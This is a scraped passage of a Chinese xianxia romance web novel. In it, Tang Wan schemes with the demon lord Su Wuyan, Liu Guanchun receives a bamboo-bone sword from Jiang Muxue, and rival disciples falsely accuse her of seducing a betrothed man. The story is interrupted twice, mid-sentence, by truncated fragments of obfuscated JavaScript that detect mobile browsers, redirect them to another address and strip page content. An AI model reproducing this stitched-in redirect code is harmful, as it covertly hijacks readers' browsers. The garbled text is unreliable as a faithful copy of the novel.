唐婉不懂他在说什么,但不妨碍她觉得苏无言可怕。 最后,苏无言甚至用魔力将她囚进一个能致人神魂俱灭的法阵中,可直到唐婉口吐鲜血,险些死在那里,苏无言也什么重要的信息都没得到。 如此折磨唐婉几日,他方才放过她,急躁地说了声:“你明明与江暮雪关系匪浅,又为何不是我要找的人?偏偏我忘了她的模样……” 她想到苏无言心心念念要找江暮雪的师妹,她想到那个魔气萦绕、只要驱动法器,就能让修士灰飞烟灭的阵法…… 唐婉想,她可以告诉苏无言,她找到他要的人了。 “苏、苏无言……你出来啊,我有事找你。” 唐婉知道,那一日诛魔大战,江暮雪并没有将苏无言诛杀。苏无言虽逃跑了,但他有一节指骨落在妖域之中,作为他的耳报神,为幽冥之界里疗伤的魔尊本体通风报信。 只要唐婉喊他,他是能收到消息的。 果不其然,厚厚的土丘中,挤出一根白骨指节。 小指头朝她戳了戳,像一只鼓鼓囊囊的蛆,沿着唐婉的裙摆利索地爬上来。 唐婉吓得尖叫,用力抖掉这一节小指。 “哈哈哈。” 很快,她的面前涌出一团黑烟。 黑烟弥散,慢慢幻化出一头乌黑辫发、白衫赤足的少年,他看起来年纪比唐婉还要小些,十六七岁的样子。一双桃花眼常年笑着,眼尾弯弯,弧度上扬。 漂亮的少年一手撑头,眯眼望着唐婉,兴味十足地道:“我还以为,唐师姐逃跑了呢。怎么了?即便你知道会死,也还是想和我在一起?” 苏无言的声音清润好听,隐隐带笑,只是他总露出一副无辜天真的表情,迷惑世人。但唐婉想到他杀人不眨眼的手段,顿时清醒了,她仍觉得毛骨悚然。 唐婉不由后退一步,她有点后悔招惹这一尊邪神。 可江暮雪早有警觉,她如今不好出手。 若是想除掉柳观春,能借助苏无言之手,神不知鬼不觉地动手,那自然最好。 唐婉鼓足勇气,上前一步,对他道:“之前听你说,你想找江暮雪的师妹,对不对?你说我不是,我倒有另一个人选,或许能解你难题。” 苏无言双手垂落,装作鬼怪那般,幽幽飘近。 他又笑眯眯地问:“哦?说来听听。” “你知道柳观春吗?” 苏无言:“她是谁?” 唐婉又道:“柳观春是外门弟子,也是近日刚入宗门的小师妹。江师兄待她很好,甚至在迷魂梦阵中,与她结为道侣。你要找江师兄亲近的师妹,我想应该是她。” 苏无言若有所思地点头,他取出一颗糖丸,丢到唐婉的掌心:“赏你。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15155182|164856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >说完,苏无言又缓缓消散了。 唐婉捂住砰砰乱跳的心口,她不是因为动情,而是因为害怕。 至于那颗糖丸,唐婉嫌恶地丢开,又抬腿踩了好几脚,直把它碾进土里。 呸!谁要吃大魔王的东西! 唐婉一走,那根魔尊的白骨小指头又从犄角旮旯里钻出来,指骨抠动泥地里的糖丸,像是圣甲虫推粪球那般,又把它推回妖域边境了。 - 柳观春还在沉睡。 这一次,她梦到了前世的事。 在柳观春高中毕业那年,养育柳观春长大的外婆去世,家中没有大人帮忙操持白事,刚刚考上大学的柳观春只能一边抹眼泪,一边听镇子上的老人指点何时下葬、何时发丧。 柳观春的父母早就丧命于一场车祸中,是外婆将她拉扯大的。柳家买不起公墓,只能将外婆的尸骨先葬在山里的柳家老宅旁边,等到柳观春大学毕业,工作有钱了,再好好帮外婆买一块墓地,将骨灰盒迁出来。 柳观春毕业后,搬回了小镇,她仍住在从前和外婆相依为命的那个家里。 每到周末,柳观春会去外婆的坟包前,和去世的长辈说说话,再顺道沿着山路逛下来,感受清风拂面,绿柳成荫,顺道上一趟只有一个老道士坐镇的白马观。 老道士与柳观春很有缘,常常会与她吃酒、吃糕,顺道论道。 尽管柳观春听不懂那些道家经书,但不妨碍她乖巧作陪。 叮铃、叮铃。 竹林有风吹来,白马观的驼铃被吹得晃动不止,召出一只身姿矫健的黑猫。 黑猫迅速跃上老道士的肩膀,它一双绿瞳,毛色油润,神情倨傲。 老道士将黑猫递到柳观春面前,笑说:“都说玄猫邪,玄猫丑,在猫中也是貌若无盐,旁的娃娃不肯养,只有我将它养着,也好拿拿观中的耗子。” 柳观春低头,和黑猫对视。 “我倒觉得你挺漂亮的。” 黑猫不屑地挠挠耳朵,迅速跳走了。 又过了两个月,老道士上医院体检,查出自己身患重病,他又用铜板卜上一卦,知道自己这次的死劫将至,时日无多。 当柳观春再次来到白马观的时候,那只猫被老道士捧着,奉到了她的面前。 老道士笑说:“无盐往后就托付给娃娃你了。” 柳观春看着老人打了补缀的衣裳和鞋袜,道观里的家伙什全收拾出来了,老道士要走了,他是在托孤,把这些照看不了的小东西,都留给身边的朋友。 柳观春心里有点难过,她能串门的人家又少了一户。 柳观春没有拒绝,她接下了猫。 自此,柳观春知道了这只猫的名字。 无盐。 相传春秋时期,有一位战功赫赫的王后,名叫钟离春,因生在一个名叫“无盐”的地方,又相貌平平,后世便称她为“无盐娘娘”,抑或无盐女。 可这只名叫“无盐”的黑猫,是公的。 …… 风雪骤大,柳观春瑟瑟发抖,睁开了眼睛。 这一眼,和单手抓起一件弟子服要往柳观春身上盖的江暮雪,对上了。 柳观春看着眼前眉眼疏冷的师兄,雪絮落在他乌黑的鬓边、眼睫,绒绒的,仿佛一团团柔软的棉花。 他在她的身边坐了许久,大半的肩膀都覆满了雪。 柳观春想,江暮雪是不是无知无感,他体会不到寒冷,才能在雪丘上打坐这么久。 如今,他守在旁边,最爱洁的人,竟连染血的衣袍都没换,就连清净术法也不曾施加。 柳观春瞪大一双杏眸,呆呆地仰望他。 柳观春觉得此情此景诡异到可怕,她不敢回想自己是如何被带进绝情崖,也不敢回想此处就她和师兄二人,她又如何污了江暮雪那一身素来洁净的衣。 喉头还有血气涌动,可身上的伤势已被人疗愈好,并不疼痛。 柳观春咽下一口翻涌进喉咙的雪意。 江暮雪似有所感,低头垂眸,等她开口。 柳观春被那一双狭长淡漠的凤眸凝视,忽然觉得呼吸有点不畅。 心中涌起许多羞于启齿的记忆。 她一面对江暮雪,便会有些无地自容。 柳观春想了想,记起江暮雪在妖阵里使出的致命一击。 柳观春皱眉,憋出一句缓和气氛的话。 “师兄,你御敌时的剑招绚烂惊艳,夺目非常……是出自哪一本剑诀?” 她伤愈醒转,竟只知道问这个吗? 江暮雪一时无言,心道:柳师妹,果真爱剑。 11.下山(一) 第十一章 柳观春很有自知之明,眼前的江暮雪并不是她记忆里熟知的那一位,她在他面前不敢造次。 柳观春迅速爬起来,可她的动作太快,还是牵动了胸口的伤口,剧痛漫上喉头,逼得她轻轻地斯了一声。 胸口那个大洞,是被妖蛟的长尾所伤,鳞片里濯着毒液,即便有内丹辅助,也并不容易愈合。 但江暮雪之前在帮柳观春疗伤时,已经用灵力将内丹熔炼成方便修士吸收的灵流,按理说不该至今还有伤疤留下。 除非,柳观春的身体与灵气相斥,伤痕难愈。 难怪她花了十年才引气入体,还需要借助旁人赠她的灵根才能筑基。 “你不合适修行。”江暮雪下了结论。 听完,柳观春脸色煞白,就连原本殷红的唇瓣也变得几无血色。 她抬头,仰望江暮雪垂下的一双沉寂凤眼,他说的是实话,没有半点奚落或是鄙薄的意思。 柳观春心知肚明,江暮雪是道心坚毅的无情道剑者,他不通情爱,不生私心,也不会辱骂他人,更不会偏袒任何人。 除了唐婉。 他的冰冷淡漠,堪比天道。 如今所言,无非是他悟出来的事实。 被这样的大能否定了根骨与资质,柳观春心中没有失落,那肯定是假话。 可是…… 柳观春扯了下嘴角:“师兄,我知道自己及不上你们这样的天才。但我的时间很多,不管一年、两年,或是十年、百年,总有一天,只要我潜心修炼,终有一日我会升阶,我也会成为像你一样坚不可摧的剑者。” 江暮雪见过许多修道者修行多年,无法升阶,最终心生执念,心魔入体,沦为魔物,被天道的渡劫雷云歼灭。 然而柳观春的体质连凡人都不如,她生不出灵根,又为何要如此执着于修仙之道? 江暮雪不懂,“为何你一心想要修道?” 第一次有人这样问柳观春。 柳观春想了想,问:“师兄,你吃过饭焦吗?” 江暮雪怔忪了一会儿。 他不说话,柳观春便知道他没有。 柳观春忍不住笑了下:“我以前常会用陶土锅来煮饭,一罐左右的大米浸饱清水,随意铺在锅底,等水沸开,再码放上一排油润的腊肉,倒入大酱。大概两刻钟后,饭就好了,届时沿着锅边淋上一圈油,锅底就会生出一层饭焦,吃起来会很香。” 这是柳观春从前学的简易版煲仔饭的做法。 她常常这样焖饭来吃,等到饭煮熟了,再把蒸好的腊肉,分几片到无盐的猫碗里。 柳观春想到从前还算无忧无虑的日子,她忍住鼻尖的酸涩,笑起来的样子像是在哭。 柳观春用很低的声音,对江暮雪说:“师兄,我想回家。” 她想回到现实世界,她想不再受任何欺负。 她曾经贪恋过和江暮雪在一起的种种,她曾经以为幻境里的那一座草庐可以称之为家。 但柳观春看着无挂无碍的江暮雪,看着他衣不染尘、玉洁松贞的样子,她觉得自己无论如何都不能毁了大师兄。 他求他的道,那样坚毅,一往无前。 就好似她在寻她的家一样。 柳观春没有再说话了,她直起腰身,毕恭毕敬地对江暮雪行礼:“师兄,多谢你赶来妖域,于妖蛟口中救下我一命。如有机会,观春定会报答师兄。” 但她想,应该没有这个机会。 因为柳观春太弱,而江暮雪太强。 她偿还不了什么,不过又欠下了一份人情。 柳观春道别以后,离开了绝情崖。 江暮雪没有留她,只是打坐调息后,他心口的那种窒闷感,还是久久难消。 江暮雪似有所感,莫名抬头。 远处,还有一个瘦小的身影。 柳观春步行下山,走得很慢。风雪将她乌髻上的鲜红丝绦吹得摇晃,在空中拧成一团。 她没有御剑下山,因为她没有修出能够代替长剑的剑气,唯一的那把银剑,也折损于妖蛟的口中。 江暮雪忽然想起,柳观春进妖域的原因。 她想为自己寻一把怎么劈砍都不会断裂的本命剑,她想和白衣师兄正儿八经地比试一场。 她知道江暮雪每次为了不弄断银剑,次次收起剑势,压着剑气指点她。 柳观春只是想,让白衣师兄教导剑术的时候能够更轻松一点。 这样一来,兴许白衣师兄不嫌她烦,就会常来武斗场与她比试。 可是,即便柳观春险些豁出去性命,她也没有拿到自己的本命剑。 江暮雪指骨轻蜷。 她只是……想要一把剑而已。 - 柳观春回到寝院的时候,天色昏暗,夜幕四合。 她的院门前,围满了白衣白衫的内门弟子,他们抬头看柳观春一眼,又聚众喧哗,交头接耳。 这一幕太熟悉,柳观春身体一僵,不敢上前。她以为,师兄师姐是来找自己麻烦的。 但很快,她发现自己多虑了,不过是宗门长老将本次下山降魔的任务下达至各个寝院,弟子们闻讯赶来,聚众看榜罢了。 柳观春也挤进人群里查看。 金光幻化出的降魔榜上,一连标记了好几个宗门辖域里的地点,有仙乡仙镇,也有人间出现魔物的小镇。 内门弟子均有参加降魔比试的资格,根据降魔的数量,上山回宗门时,就能得到相应的天材地宝作为奖励,能使得修为大大进益。 只是,唯一一个条件,便是必须组两人或两人以上的队伍,并在长老那里登记,方可下山降魔。 弟子们都约好了同伴,唯独柳观春孤零零剩下。 她必须把握这次下山降魔的机会,不然单凭练剑,柳观春要猴年马月才能升阶? 于是,柳观春厚着脸皮去问一起上过几节剑术课的师姐:“师姐们,能否允许我和你们组队同行?” 怎料,柳观春说完这句话,那些女修们反倒面面相觑,讥讽一笑。 “我们可不敢找你组队,万一你使用什么美人计,将队伍里的师兄弟勾得只保护你一人,那我们可惨了。” 师姐这句话说得太难听,好似柳观春是什么搔首弄姿的娼妓。 柳观春皱眉,她并不知这股恶意又是从何而来。 她只能耐下心辩解:“我不会如此。” “是吗?”那位与唐婉走得很近的段师姐靠来,目中满是嫌恶,“若非如此,你为何要让江师兄搭救你?明知自己实力不够,又为什么非得往妖域里钻?就因为江师兄带你去绝情崖,唐师姐为此伤心许久,今晚膳堂用饭的时候,她眼睛都哭肿了!” 柳观春哑口无言。 她知道唐婉很可能是装哭,诱人排挤她。但柳观春也明白,自己确实不该和江暮雪靠得太近。 这次,只是一个意外。 那种久违的羞耻感又涌上心头。 柳观春:“我只是想去寻本命剑……” 段师姐嗤笑:“谁知道你是不是打着本命剑的幌子,故意去招惹大妖,也好叫江师兄前来救你?今日,我话放这儿了,谁要是敢和这个口蜜腹剑、阴险奸诈的柳观春组队,休怪我把你们都归为她一类人,往后一并疏远!” 众人忌惮唐婉,不仅仅因她是掌门唐玄风之女,更有唐婉的外祖母乃甘露宫的宫主瑶华的缘故。 甘露宫是外域的另一大门派,相传甘露宫是天神设立的法门,宫主世代守护上古法器——琉璃鼎。 琉璃鼎天生神力,是真神遗物,可护甘露宫不受邪魔侵害,方圆百里内,魔气涤荡。 而宫中的修士,受琉璃鼎的灵气滋养,升阶速度一个比一个快,虽说暂时无人结婴,境界能够比肩江暮雪,可宫门内结丹弟子的数量,却比玄剑宗还要多。 招惹唐婉,不就是和人才济济的甘露宫作对吗?谁敢冒这个险。 一时间,弟子们如流水一般绕开柳观春,对她退避三舍。 柳观春心中又浮起那股熟悉的寂寞感,她心里有数,有唐婉从中作梗,恐怕往后她在内门的日子不会太好过了。 柳观春没再强求,她孤身回到寝室。 柳观春施展了一个清洁术,将身上的污浊血气都除去。若非今日有心事,她定会去灶房烧水沐浴。比起那种清风吹拂身上沙土秽物,她更喜欢手脚泡水的温暖。 想到这里,柳观春无端端想到江暮雪。 大师兄道法精妙,他分明能够用清洁术洗濯脏污……既如此,在迷魂梦阵中的时候,每每上榻入睡,江暮雪又为何会学她那般事先烧热水,提前沐浴更衣? 总不是怕他雪灵根的体温冰冷,相拥时会冻着柳观春吧? “骨碌碌。” 正胡思乱想着,一颗水晶储物珠自柳观春的怀中滚落。 柳观春登时坐起。 她记起已经有几日没见白衣师兄了。 或许世上,也就他不嫌她。 柳观春心中堆砌的寒意,一点点被武斗场里那几场的亲近切磋融化。 像是急于求证什么,柳观春将武斗卷轴打开。 顷刻间,罡风四起,金光大作,将她柔软的鬓发吹得狂乱,衣袖向上鼓开的时候,露出柳观春臂骨上方的一点红色小痣,朱砂似的,又如腊月红梅,灵动可爱。 柳观春伸手捋下袖子,将其掩了去。 她想到手上无剑,若是不带剑去见白衣师兄,那就是单纯的想见他,并非讨教比试了。 柳观春担心师兄不喜,她想了想,还是隔空取来一根灶房的柴薪,然后以手中剑气,一点点将其削成凹凸不平的木剑。 当江暮雪应召入阵的时候,看到的便是柳观春执剑的这一幕。 少女早已换了一身干净整洁的素纱白衫,发髻虚虚绾起,两条余烬红的发带垂落,缠在小臂与剑柄上。手中持着的那一截短短木剑,犹如小孩玩闹时所用玩具,做工十分潦草。 他凝神不动。 柳观春似有所感,低下头去。 她尴尬地看了一眼手上劈砍潦草的木剑,似乎也觉得自己太离谱,低声解释。 “师兄,这不是我的本命剑,是我临时削的一把木剑。我拿它进阵,也不存侮辱你的意思,全是、全是因为我的银剑折损在大妖口中了,我没有其他的剑可以比试。” 好似害怕白衣师兄会跑,柳观春赶紧补上一句:“不过我会尽快去买……” 只是买一把普通的灵剑,一颗灵石尽够了。 她还有钱。 江暮雪淡扫一眼柳观春手中持着的凡品,久久无言。 随后,他从自己的灵域中,抽出一把剑柄铸有潇潇竹节纹样的短剑,递给女孩。 “哗啦”一声剑吟。 柳观春的杏眸被璀璨的剑光一晃,看到一把横在自己面前的短剑。 这把竹纹剑悬浮半空中。 短剑被磅礴的灵光裹挟,剑刃锋锐,乍一看,还有竹骨生长的幻象在其中游走变幻,光怪陆离,锋芒毕露,并非凡品。 如此贵重之物,想来得要个百颗灵石才能将其收入囊中吧? 柳观春难以置信地问:“借、借我用?” 她连做梦都不敢做大的,憋了半天,只说出一个“借”字。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159740|164856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >江暮雪轻皱了下眉,他薄唇微启,对她道:“赠你。” 其实比武场中,江暮雪的境界等级比柳观春高,她看不到他的真容以及他所使的本命剑,今日能把竹骨剑显露于柳观春面前,全是江暮雪以剑气破开了禁制,使她耳清目明。 江暮雪并不想和柳观春牵扯太深,在武斗场中,以陪练师兄的身份指点她一二已是极限,今日赠剑,也无非是对于她迎战妖蛟的奖励。 柳观春听到白衣师兄要送她礼物,脸上大惊失色:“这、这怎么可以?我不该占师兄便宜,这把剑太贵重了。” 江暮雪:“我少时用过此剑,后来取得本命剑后,便将它闲置灵域,竹骨剑多年无主,又深埋雪中不见天日,剑锋日益变钝。与其吃灰,倒不如赠你。” 柳观春爱剑,定会时时用它,如此也算不让宝剑蒙尘。 江暮雪一时不察,竟说出灵域中有雪……而他垂眸一看,剑柄上也沾染了几点霜花。 要是柳观春留心,细细一推断,兴许会猜出他的身份。 毕竟宗门之中,既修剑道,灵域中覆没风雪,唯江暮雪一人。 可偏偏柳观春迟钝,她没有想那么多。 柳观春小心翼翼捧起那把竹骨剑。 剑气感应到柳观春的气息,很快便化成两条光带,蛇一般攀附、缠绕上她伶仃的臂骨。 柳观春被挠得有点痒,轻轻一笑。 很快,竹骨剑钻出一条藤蔓,以迅雷不及掩耳之势,飞快钻进柳观春的清明灵台。不过眨眼间,柳观春的额头就浮现出一个不甚清晰的竹叶纹花钿,不细看,压根儿认不出来。 脑门热热的,柳观春好奇地摸了摸,结结巴巴地问江暮雪:“师兄,这是什么?” 江暮雪不解地看来。 剑器向来以强者为尊,竹骨剑追随他多年,见识过江暮雪的凛冽剑道。按理说,它不会轻易认主,特别是认一个初初筑基的小弟子为主。 可偏偏,竹骨剑选择了柳观春。 可能只是和她有缘。 江暮雪沉声说:“竹骨剑认你为主,便是与你有机缘,往后它会成为你修道所用的本命剑。若是你不想要它,可以在灵域里解契换剑。” “不不,我很喜欢它!” 骤然一听柳观春说“喜欢”,江暮雪瞥她一眼。 柳观春闭眼感受一番,果真,她的髓海里多了一把光芒大盛的光剑。她只需心念驱使,默念口诀,那把竹骨剑便会应声而来,乖巧地钻进她的掌心。 何为人剑合一,原来是这种感觉。 柳观春难掩兴奋,她握住竹骨剑的手都在颤抖。 “师、师兄,我也有本命剑了!” “嗯。”江暮雪虽然不知她为何高兴,但仔细一想,修行之路艰苦,一花一叶的变幻都该令人心生欢喜,否则又如何熬过漫长的岁月。 柳观春把竹骨剑抱在怀里,爱不释手地摸了一遍又一遍,直把剑器摸到羞涩,默默收敛了光芒。 江暮雪看到柳观春那两只柔软的手抱住竹骨剑不放,少女白皙虎口紧紧握住的剑柄,正是他曾执过成千上万次的位置……他略觉不适,拧了下眉。 柳观春却是个榆木脑袋,没发觉有什么不对。 她今日太高兴了,高兴到甚至想用为数不多的灵石,请白衣师兄去膳堂好好吃上一顿。 柳观春忽然想到降魔一事,她满怀期待地问:“师兄,你过几天会下山降魔吗?” 江暮雪颔首。 “那我能和你组队吗?”柳观春不好意思地摸了摸鼻子,她知道自己剑术不精,兴许会拖师兄的后腿,可是,只有师兄待她这么好。 “下山降魔必须要二人或是二人以上的数量组队,我找不到队友,只能来问问师兄。” 江暮雪知道这个规矩,下山降魔并非易事,至少两名弟子结伴,也是为了弟子们在降魔途中彼此有个照应,若是路上遇险,也能有一人全身而退,跑回宗门搬救兵。 江暮雪虽年年下山降魔,但因他修为高深,从来不受榜单束缚,自然也从来不与人组队合作。 他低下头,看到柳观春亮起的一双杏眼,她分明很期待,就连额上的那一抹竹纹都烨烨生辉。 江暮雪:“我……已有队伍。” 他只能如此婉拒。 果然,柳观春失望地叹气。 但很快,她又笑着说:“没事儿,我再多问问,说不定还能找到其他队员。那我提前预祝师兄此次降魔顺利,收获满满。” “嗯。”江暮雪赠完剑,心中一事落定。那种难掩的沉闷心绪,总算消散了一些。 他离开法阵,回到绝情崖。 漫天白雪中,孤零零飘着一条挂在枯枝上的红色发带。 鲜红如血,色泽刺目。 仙姿玉貌的男人靠近,抽来这条丝绦。 江暮雪知道,这是柳观春遗落的。 修长指骨上搭着一条柔软的红带子,江暮雪莫名想起柳观春眼中稍纵即逝的失望。明明她很不高兴,为何又能笑着同他道别呢? 之前,柳观春被妖蛟缠杀的时候,她也是这样。明明痛不欲生,眼泪横流,她瞪大一双杏眼,却一点哭声都没发出。 反倒是后来,她身受重伤,朝着缓步行来的江暮雪伸出手。 柳观春濒死前,气若游丝,她央着他抱,求他带她回家。 江暮雪不是没有将重伤的弟子带回宗门过,可他从来没有像那次那般,道心动摇,口溢鲜血…… 而且,是柳观春说自己想回家。 她已经回来了,为何还是终日愁眉苦脸? 就仿佛,玄剑宗不是她的家。 12.下山(二) 第十二章 柳观春没找到愿意和她组队的修士,但她没有气馁。 她想她天生不是一个运气很好的人,买什么东西都只能抽到“谢谢惠顾”的女孩,又怎么可能一下子找到愿意带她的降魔队伍。 柳观春没有很多灵石,但她从前很会做饭。 于是柳观春下山一趟,买了很多秋季的板栗、糯米粉、牛乳。 她蒸了很多栗子糕,还熬出了甜津津的炼乳,奶白色的乳浆淋在香喷喷的米糕上,闻之清香扑鼻,令人食指大动。 柳观春占用灶房太久,虽然只是用了一个闲置许久的灶膛,但也麻烦到膳堂的张厨娘。 张厨娘是个凡人,她天生克夫克子,家里人死绝了,才来到仙宗,想要求个安生。因她厨艺不错,宗门将她留下,作为膳堂的厨子,她虽没有什么灵力,但有宗门的丹药滋养,至少寿元比那些普通凡人要长上个一两百年。 张厨娘想要在宗门留下来,也得看那些修士弟子们的眼色,因此她待柳观春并不会多亲厚,至多也就是在柳观春送她一碟甜糕的时候,返还柳观春两个金黄的枇杷果。 柳观春道谢,她把枇杷果塞到怀里,又提着食盒去了一趟弟子寝院。 前几日,她已经问过一号到十号的寝院,虽然都被师兄姐们拒绝,但好歹看她送糕过来,没有将她拒之门外。 今日,柳观春应该从十一号开始问。 许是柳观春带来的点心软糯可口,即便弟子们已经辟谷,但总有几个嘴馋的弟子会被那香味引诱,开门去取糕。 柳观春也不呵斥他们的无礼,只等他们端走甜糕,再站在门口静静等待。 待糕点吃完,嘴角沾着粉屑的弟子拉开房门,略带歉意地对柳观春道:“抱歉啊,我问过我师兄了,他说不想带个筑基期的弟子,到时候还有分神来保护你,实在麻烦。” 柳观春早有预料,即便知道,这很可能只是吃糕的托词,她也不恼。 柳观春在心中给自己打气,笑道:“没事,等我以后境界再高些,我再来问问你们。” 她圆滑得很,连退路都想好了。 这名小师兄看柳观春为人也算和善,长得也很好看,真不知师兄姐们为何对她恶意这么大。 但他也不敢和柳观春多聊,朝她点点头后,又砰的一声,关上了房门。 柳观春吃了闭门羹也不恼,她好像早就修炼出一副迟钝的心肠,只要自己不在意,那么谁都伤不到她。 柳观春按了按脸颊,挤出一个浮起小小梨涡的微笑。 外婆和她说过,她笑起来杏眼弯弯,眼睛里好似盛了星星,任谁见了都不忍心拒绝她的请求。 柳观春堆笑,又敲开一扇门。 可这一次,没等房门里的那位剑修说话,一旁的木楼梯忽然冲出几个紫衫女修。 为首的那个女修看到柳观春,眼眶立马红了,埋在同伴的肩上哭。 另一名女修盯着柳观春,阴阳怪气地道:“你以为仗着自己漂亮,就能随便勾引别人的道侣吗?小师妹等了温师兄这么久,眼见着要结合婚契了,你竟横插一脚!” 这几名女修穿的是紫服,并不是玄剑宗的女弟子,应该是另外两大仙宗的师妹。 柳观春看了门内的温师兄一眼,抿唇道:“我同你有没有关系,你心知肚明,你自己犯下的恶事,你当面和这位师妹解释清楚吧!” 温师兄当然知道柳观春是无辜的,可今日紫璃宗的女弟子来势汹汹,还带了帮手,他单枪匹马如何能干得过这么多人? 再说了,大师兄江暮雪最恨这种辱没门风的行径,他要是敢认,定会被江暮雪一剑刺死,甚至是用鞭子抽碎他的灵域,再将他丢出山门。 温师兄的气势马上弱下来,他模棱两可地说了一句:“唉,我也不知道怎么办!你、你们自己处理吧!” 说完,手法利落地关上了门。 温师兄作为此次背叛事件里的核心人物,他都躲开了,放任大房打小三,那就说明这个第三者在他心中也没有多么高的地位。 紫璃宗的小师妹心情稍微顺了一些,她们将仇视的目光落到了柳观春的身上。 没等柳观春再说些什么,走廊对面的木窗被人推开。 那个与唐婉交好的段师姐探出头来,一手捧着瓜子,嗤嗤笑着看戏。 “紫璃宗应该不知道吧?这位柳师妹可是个能人,她竟能设计引得江师兄当众抱她回宗,本事可不小呢。” 段师姐掐头去尾,没有说柳观春是因重伤才被人抱到怀中,也没有说柳观春不敌大妖,死前还特地给全宗门发过求援信。 紫璃宗的女修们单听到这句话,心头火起,看向柳观春的目光更为仇视。 那名紫衣小师妹听到,柳观春的手段高明,就连道心坚毅的江暮雪都中计过,想来她的温师兄被妖女蛊惑,也是人之常情。 不知怎么,她心里忽然好受许多。 但柳观春遭人污蔑,又百口莫辩,她的指骨蜷紧。 定是段师姐知道,今日她会挨家挨户送糕点,所以特地喊那名女修来蹲点捉奸,将这种脚踏两条船的腌臜事,栽赃到她头上。 柳观春在玄剑宗孤立无援,便是挨这些高境界修士的打,恐怕也没人能还她一个公道。 紫璃宗的女修们对了个眼神,战役一触即发。 女修们不过是樱唇微动,念出口诀,手中便紫光涌动,肃杀弥漫。无数光点凝聚于女弟子们的掌心,幻化出一条条十九节的荆棘鞭。 紫璃宗擅长鞭器,打法刁钻阴险,若是刚正一点的剑君,很容易被她们的软鞭算计。 柳观春自知敌众我寡,她境界不高,一定会输。 但她无计可施,只能被迫应战。 好在柳观春还有有白衣师兄所赠的竹骨剑,就算输了,手中剑也不会碎裂,不至于太过狼狈。 柳观春闭目凝神,意识再次流进那一片白茫茫的灵域之中。 竹骨剑似乎感受到主人的召唤,疾如闪电地钻出灵域,迅速在柳观春手中化形。 一时间,柳观春的灵域爆开,飞沙乱石,风卷云残,天地霎时涌起一股磅礴的雪势,连夜幕星云都要随之搅动。 紫璃宗的女修们震惊地环顾四周。 “发生了什么?是她展开灵域了?” “她不是筑基期吗?为什么能展开这么高阶的灵域?” 她们怎么都没想到,这个不过筑基期的小弟子,竟有这么一把杀势凌冽的剑,而这些飞雪是怎么回事,难不成她真是雪灵根? 没等女修们得出结论,自柳观春的脚下,忽然旋开一个个狂风肆虐的雪絮旋涡,将少女裹入其中。 说来奇怪,柳观春原本只是想执剑应敌,可偏偏她在驱使竹骨剑的时候,另一股强大的力量冲进她的灵脉,意图贯穿她的四肢百骸,教她执剑。 可柳观春重伤刚愈,血脉不通,那股灵气无法在她体内流转,反倒横冲直撞,将她的旧伤逼到复发,没等柳观春上前比试,她先一步哇的喷出一口血来。 懂行的人一看便知是怎么回事。 “这是选了一把前辈的遗剑,开的也是前辈残留在剑器中的灵域吧?结果自己没有驭剑之力,反倒受其反噬?啧啧,柳观春倒是贪心啊。” “她哪来的神器?不是破落户吗?” “她这么会勾人,东拼西凑,还能攒不出灵石啊?” 一阵嬉笑声响起,柳观春不为所动。 她抬手,抹去嘴角的血迹,再度握紧了剑。 柳观春身上的疼痛又复发,她的指骨有点颤抖。 有那么一瞬间,她看着眼前无尽的恶意与冷眼,她想,她不如就此倒地算了。 变成一堆烂泥,一滩烂骨,就这么死在这个世界,长长久久地沉睡下去算了。 她什么都不想争,什么都不想要了。 柳观春意识昏沉,就在她还要举剑杀去的时候,一只玉骨琳琅的手,搭在了柳观春的肩上。 冰冷刺骨的体温袭来,冻得柳观春一个激灵。 她睁开眼,错愕地感受着。 偏偏那只手的触感却十分柔软。 柳观春髓海中那些消极的念头,一点点缓慢消去。 柳观春从那些女修们震惊的瞳孔中,看到了倒映其中的人影。 站在她身后的人,竟是鹤骨松姿的江暮雪。 他扶着柳观春的肩膀,长身玉立。伏雪剑银流乍泄,爆开无数行云流水的剑影,驱散了那些紊乱不宁的灵流。 柳观春的身体渐渐恢复平静。 片刻后,摇晃的刀光剑影中,江暮雪幽冷的嗓音传进她的耳朵里。 “拿稳你的剑。” 柳观春闻言,把手握得更紧。 柳观春第一次被人这样护着,她错愕、不解、羞愧、难堪,但更多的,还是欢喜。 她的眼眶发烫,又有眼泪要掉下来。 紫璃宗的女修们见到玄剑宗大师兄出手,猜到方才的灵域,兴许就是江暮雪所为,难怪实力强盛。 她们对视一眼,朝这位曾救过全宗门于水火间的大师兄作揖。 “虽然柳观春是玄剑宗内门弟子,但今日的事,还望大师兄莫要拦着。柳观春勾引我家小师妹的未婚夫,连累她婚契破碎,我们实在咽不下这口气,才会寻上玄剑宗,出手教训这位恬不知耻的师妹……” 江暮雪向来话少,今日却难得问一句:“她是几时与人私会?” 女修们一愣,很快反应过来,江暮雪要的是证据。 于是,她们异口同声地道:“听说每每夜里亥时,温少卿便挂断我师妹发来的纸鹤,急于去见柳师妹,暗下私会。” 每日亥时,柳观春都在比武卷轴里等待白衣师兄的指点,她分身乏术,又如何再去勾引温少卿? 江暮雪心中了然。 他不语,只是驱动伏雪剑,以雷霆之势劈开温少卿房门紧闭的屋舍。 刹那间,寝室破碎,尘屑漫天。 在一片废墟中,众人看到屋里相拥的一对狗男女。 江暮雪不为所动,依旧眉眼清寒,仿佛事不关己。 但见此状况,在场的众人如何不知真相? 和温师兄暗通款曲的女修,另有其人! 原来柳师妹真是被冤枉的! 紫璃宗的小师妹脸色煞白,她尴尬极了,看都不敢看柳观春一眼。 